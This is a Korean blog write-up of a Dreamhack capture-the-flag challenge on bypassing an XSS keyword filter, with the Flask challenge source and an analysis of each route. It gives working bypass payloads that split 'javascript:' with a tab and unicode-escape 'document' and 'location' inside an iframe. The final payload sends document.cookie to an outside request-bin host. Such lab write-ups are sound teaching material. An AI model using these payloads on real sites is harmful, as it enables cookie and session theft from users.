Dreamhack - XSS Filtering Bypass Advanced

younghyun·2022년 7월 5일
0

Webhacking

목록 보기
3/3
post-thumbnail

문제 코드

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)




코드 분석


app.route('/')

루트 경로('/') 에 접속 했을 때의 동작을 나타낸다.
index.html 파일을 렌더링해준다.



app.route('/vuln')

'/vuln' 경로에 접속 했을 때의 동작을 나타낸다.
param = request.args.get("param", "") 는 GET parameter를 가져오고 그 값을 param에 저장하는 코드이고, 만약 param 값이 없을 시 2번째 인자(null)을 저장한다.
예를 들어, 주소가 http://host3.dreamhack.games:Randomport/vuln?param=<img%20src=https://dreamhack.io/assets/img/logo.0a8aabe.svg>일 시 <img%20src=https://dreamhack.io/assets/img/logo.0a8aabe.svg>
값을 param 변수에 저장시킨다.


그리고, 아래의 param = xss_filter(param) 위에서 저장시킨 param 변수를 인자로 xss_filter 함수를 실행시키고, 그 반환값을 다시 저장한다.

xss_filter 함수는 script, on, javascriptwindow, self, this, document, location, (, ), &# 중에 하나라도 인자로 받은 param 변수가 포함하고 있을 시 "filtered!!!"를 반환한다.
또한, lower함수를 이용해 모두 소문자로 검사하기 때문에 대문자를 이용한 우회는 통하지 않는다.



app.route('/flag')

'/flag' 경로에 접속 했을 때의 동작을 나타낸다.
GET 요청을 보냈으면 flag.html 파일을 렌더링한다.
POST 요청을 보냈으면 먼저 param 이라는 데이터가 있는 form에서 값을 가져오고 저장하고, param{"name": "flag", "value": FLAG.strip()} 를 매개변수로 check_xss를 실행하고, 그 값이 false일 경우 alert("wrong??")을 실행한다. 여기서, FLAG.strip() 은 코드 첫 부분에서 가져온 실제 FLAG의 값이다.


check_xss 함수에서 paramcookie 를 매개변수로 받는데 param 에는 윗부분에서 매개변수로 준 param이 그대로 오고, cookie 또한 위에서 매개변수로 준 {"name":"flag", "value":플래그 값} 의 데이터를 json 형식으로 가져온다.
그리고, 이 두 개의 값을 매개변수로 read_url(url, cookie) 를 실행한다.


read_url 함수는 python의 Selenium 을 이용하여 웹 브라우저를 열고 url을 읽는데, 이때 cookie 가 아까 올려둔 FLAG 값으로 설정된다.
여기서 만약 url을 읽어오는데 만약 에러가 날 시 False를 반환해서, alert("wrong") 이 출력된다.



app.route('/memo')

'/memo' 경로에 접속 했을 때의 동작을 나타낸다.
memo_text 변수를 전역 변수로 선언 후, request.args.get("memo", "") 부분에서 memo 파라미터의 값을 가져오고, 그 값에 줄바꿈('\n')을 더해 저장한다.
'/memo'에 접속할 때마다 지금까지 저장된 메모들을 보여준다.


'/'에 연결되어있는 memo링크는 memo?memo=hello 로 연결되어 있어서, 접속 시 hello라는 메모가 자동으로 추가된다.




Exploit


먼저, 우리의 목적은 /flag 에서 FLAG 값을 가지고 있고, 쿠키로 저장시키므로, /flag 에서 xss 취약점을 이용해 cookie 값을 출력하는 것이다.


memoFLAG 값을 남기는 방식과, Dreamhack Tools를 이용해 요청 값을 확인하는 방법 중에서, 두 번째 방법인 Dreamhack Tools를 이용할 것이다.


script 실행

먼저 javascript가 실행돼야 뭐라도 할 수 있다.
다른 방법도 있을 수 있지만, 내가 사용한 방법은 URL의 정규화(Normalization) 를 이용한 javascript: 스키마 우회이다.

<iframe src="javascript:alert('javascript failed..')"/>
<!--'javascript'가 필터링됨->

<iframe src="\1\4javascr\tipt:alert('javascript failed..')"/>
<!--정규화 표현을 했지만, 이렇게 말고 변환해서 넣어야함.->
<iframe src="javascr	ipt:alert('javascript succes!')"/>
<!--이렇게   'javascript', 'script' 필터링에 걸리지 않지만 javascript 코드를 실행할  있음,->



함수 실행

우선 javascript가 실행됐으니, 이제 핵심 부분인 쿠키를 출력하는 부분만 하면 된다.
document.location.hrefdocument.cookie를 이용해 cookie를 남길 건데, documentlocation 이 필터링된다.


이 부분은 여러 우회방법이 있겠지만, 유니코드 방식을 이용하면

\u0064ocument.locati\u006f\u006e.href

이처럼 변환할 수 있는데 d\u0064로, location의 on\u006f\u006e 로 바꿔서 우회할 수 있다.

\u0064ocument.locati\u006f\u006e.href='URL' + \u0064ocument.cookie;



정리

위의 두 개의 코드를 합치면 아래와 같이 만들 수 있다.


<iframe src="javascr	ipt:\u0064ocument.locati\u006f\u006e.href = 'http://RANDOM.request.dreamhack.games/?memo=' + \u0064ocument.cookie;"/>

이 코드를 '/flag' 에 들어가서 form에 입력하고, Dreamhack ToolsRequest bin을 보면 FLAG 값이 잘 나와있다.





어려웠던 점


1. <iframe src = data:text/html;base64,data>

처음엔, <iframe src = data:text/html;base64> 의 뒷부분에 base64 로 인코드된 코드를 넣으면 script가 먹히길래 거의 다 해결한 줄 알았다.

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSSB3YW50IHRvIGdvIGhvbWUiKTs8L3NjcmlwdD4=">
<!--'<script>alert("I want to go home");</script>'-->

그리고, document.cookie 를 테스트 해보려는데, 값이 계속 안 나왔다.


<iframe src="data:text/html;base64,PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbj0naHR0cDovL2hvc3QzLmRyZWFtaGFjay5nYW1lczoxMTU4NS9tZW1vP21lbW89Jytkb2N1bWVudC5jb29raWU8L3NjcmlwdD4=">
<!--<script>document.location='http://host3.dreamhack.games:23321/memo?memo='+document.cookie</script>-->

계속 안 나와서 관리자 도구를 확인해보니깐 이런 에러가 나왔다.


Uncaught DOMException: Failed to read the 'cookie' property from 'Document': Cookies are disabled inside 'data:' URLs.


조금 찾아보고, 다른 것도 시도해 보았는데 iframe 태그 내부에서 열려서 originnull 로 설정되는데, 이 때문에 SOF(Same Origin Policy) 에 막혀서 웹 사이트의 쿠키를 가져올 수 없었다.
iframe 밖의, 즉 원래 웹 사이트의 쿠키를 가져오기 위해 document.domain을 직접 수정하여 우회해보려 하였지만, 둘의 내용이 너무 달라 직접 수정도 못했고, 결국 이 방법은 포기했다.



script 우회

위의 방법이 실패하고, 그럼 좀 더 쉬운 방법으로 가보자해서 javascript: 스키마를 시도해 보기로 하였고, 정규화 관련 내용을 보고 시도해 보았다.
근데 아무리 해도 안됐는데, \1과\4를 가 아니라 \1\4의 형태로 쓰고, tap도 이 아니라 \t를 사용한 게 하나의 문제고 filtered!! 가 나올 때 필터링하는게 javascript도 있지만, on, (, ) 등도 있단 걸 까먹었다.


결국, 내가 html파일을 직접 만들어서 거기서 iframe 태그를 연습하면서 어떻게 해야 적용되는지 봐보고, 필터링 되는 문자만 추가로 유니코드 변환 등을 해주었다.
이때, location 을 처음엔 \u006cocation 로 바꿨는데, 이것만으로 우회가 충분한 줄 알았지만 locationon 을 포함하고 있는 걸 깜빡했다.


그 후, locati\u006f\u006e 로 수정 후 요청을 보내니 값이 나왔고, 해결할 수 있었다.




마지막으로

어려웠지만, 그만큼 재밌었던 문제인 것 같다.
그리고, XSS 에 대해, 그리고 여러 우회기법들을 정말 많이 검색하고 시도해 보면서 느낀 점과 새로 알게된 점이 매우 많다.
또한, ifame 관련 부분 을 공부할 때, SOPCORS 에 대해 더욱 깊게 알게 되었다.
이렇게 빙 돌아올 문제는 아니였던 것 같지만, 그 과정에서 얻게된 지식이 많기에 매우 만족스럽다 ㅎㅎ

profile
보안꿈나무

0개의 댓글